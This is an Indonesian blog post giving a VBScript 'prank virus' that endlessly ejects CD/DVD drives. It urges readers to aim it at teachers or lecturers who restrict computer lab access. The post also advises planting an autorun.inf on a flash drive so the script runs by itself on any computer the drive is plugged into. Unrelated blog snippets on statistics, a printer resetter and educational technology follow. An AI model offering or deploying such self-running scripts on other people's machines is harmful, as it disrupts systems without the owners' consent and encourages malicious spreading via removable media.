Cara Membuat virus Nakal


Jika anda sering kesal sama dosen atau guru yang sering melarang masuk ke ruang Lab Komputer, saya menganjurkan anda membuat virus nakal yang bias membuat dosen dan guru kita binggung..
Ok langsung saja, cara membuat virus nakal sbb:
Buka notepad dan masukkan code berikut,
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Simpanlah dengan file tadi dengan ekstensi file iseng.vbs atau apapun sesuai dengan keinginanmu asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.
Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol CRTL+ALT+DEL dan matikan proses wscripts.exe, anda juga bias memasukan file autorun.inf di flashdisk, jadi setiap kita colokin ke computer/laptop, maka akan otomatis dijalankan Virus Nakal ini.selamat mencoba.


Komentar

Posting Komentar

PTK Pendidikan Agama Kristen

Pengertian Contoh Soal Mean Median Modus Kuartil, dan Desil, Rumus, Serta Cara Menghitung

Gambar
1. Nilai Rata-rata / Rataan Hitung (Mean) Masih ingatkah Anda cara menghitung rataan hitung? Misalnya, seorang guru mencatat hasil ulangan 10 orang siswanya, sebagai berikut. 6 5 5 7 7,5 8 6,5 5,5 6 9 Dari data tersebut, ia dapat menentukan nilai rataan hitung, yaitu : Jadi, nilai rataan hitungnya adalah 6,55. Secara umum, apabila nilai data kuantitatif tidak dikelompokkan dan dinyatakan oleh x1, x2, …, xn (terdapat n buah datum), nilai rataan hitung (mean)  x  ditentukan oleh rumus berikut. Perhitungan nilai rataan hitung akan menjadi lain jika guru tersebut mencatat hasil ulangan 40 orang siswanya sebagai berikut: 3 orang mendapat nilai 4 4 orang mendapat nilai 5 6 orang mendapat nilai 5,5 8 orang mendapat nilai 6 7 orang mendapat nilai 7 10 orang mendapat nilai 8 2 orang mendapat nilai 9 Nilai rataan hitung siswa dapat dicari sebagai berikut: Jadi, nilai rataan hitungnya adalah 6,5. Secara umum, apabila
Baca selengkapnya

CARA RESERT PRINTER CANON DENGAN SERVICE TOOL V3400

Gambar
CARA RESERT PRINTER CANON DENGAN SERVICE TOOL V3 400 Selamat malam,saat ini saya akan memperkenalkan satu program yaitu reserter printer Canon V3400 Resetter Canon Service Tool v3400 adalah versi terbaru dari tool untuk mereset printer Canon MG5270, MP258, MP 287, MP 278, MP 237 dan iP2770. Jika printer anda sudah pernah di reset menggunakan resetter versi sebelumnya yaitu v.1074 dan v.2000 namun masih tidak mau di reset atau selalu not responding maka bisa di coba lagi dengan menggunakan resetter Canon Service Tool v3400 ini. Cara Reset Printer Canon iP2770 Dan Canon MG5270, MP258, MP 287, MP 278, MP 237  – ink absorber is almost full - adalah sebagai berikut: Hidupkan Printer, maka akan muncul  keterangan "The Ink Absorber is Almost Full" pada layar monitor. Untuk meresetnya maka printer harus dalam keadaan Service Mode.  Caranya : Download Resetter Canon ServiceTool v340   Download Disini 1.   Matikan Printer dengan menekan tombol POWER.
Baca selengkapnya

FASILITAS BELAJAR ( FACILITATING LEARNING ) 2 Memfasilitasi Pembelajaran Rhonda Robinson Northern Illinois University Michael Molenda

FASILITAS BELAJAR ( FACILITATING LEARNING ) 2 Memfasilitasi Pembelajaran Rhonda Robinson Northern Illinois University Michael Molenda Indiana University Landra Rezabek University of Wyoming Pendahuluan Teknologi pendidikan adalah studi dan etika praktek untuk memfasilitasi pembelajaran dan meningkatkan kinerja dengan menciptakan, menggunakan, dan mengelola proses teknologi yang tepat dan sumber daya. Fokus pada Pembelajaran Definisi dimulai dengan dalil bahwa "teknologi pendidikan adalah studi dan etika praktek untuk memfasilitasi pembelajaran. . . "Menunjukkan bahwa membantu orang untuk belajar adalah tujuan utama dan penting dari teknologi pendidikan. Semua definisi AECT sejak 1963 telah disebut belajar sebagai produk akhir dari teknologi pendidikan. Namun, definisi telah berbeda mengenai kekuatan hubungan antara intervensi teknologi dan perubahan dalam kemampuan peserta didik. Sebelum fokus pada pesan dan kontrol. The 1963 Definisi be
Baca selengkapnya